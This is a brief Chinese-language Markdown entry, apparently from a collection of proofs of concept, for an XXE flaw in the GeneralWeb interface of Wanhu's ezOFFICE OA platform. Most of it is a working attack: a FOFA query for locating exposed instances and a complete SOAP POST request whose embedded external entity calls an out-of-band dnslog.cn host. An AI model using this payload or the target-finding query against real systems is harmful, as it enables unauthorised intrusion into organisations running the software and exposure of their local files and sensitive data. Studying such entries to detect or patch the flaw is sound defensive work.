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39 lines
1.1 KiB
Markdown
39 lines
1.1 KiB
Markdown
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# 万户OA系统接口GeneralWeb存在XXE漏洞
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万户OA系统接口GeneralWeb存在XXE漏洞，允许攻击者利用XML解析器处理外部实体，从而访问本地文件或进行其他恶意操作，可能导致敏感信息泄露和系统被攻击。
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## fofa
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```javascript
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app="万户ezOFFICE协同管理平台"
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```
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## poc
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```javascript
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POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1
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Host:
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User-Agent: Moziilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
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Content-Type: text/xml;charset=UTF-8
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SOAPAction:
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Content-Length: 457
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gen="http://com.whir.service/GeneralWeb">
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<soapenv:Body>
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<gen:OAManager>
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<gen:input>
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE root [
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<!ENTITY x SYSTEM "http://123.6x9ryk.dnslog.cn">]>
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<root>&x;</root>
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</gen:input>
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</gen:OAManager>
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</soapenv:Body>
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</soapenv:Envelope>
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```
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## 漏洞来源
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- https://forum.butian.net/share/3784
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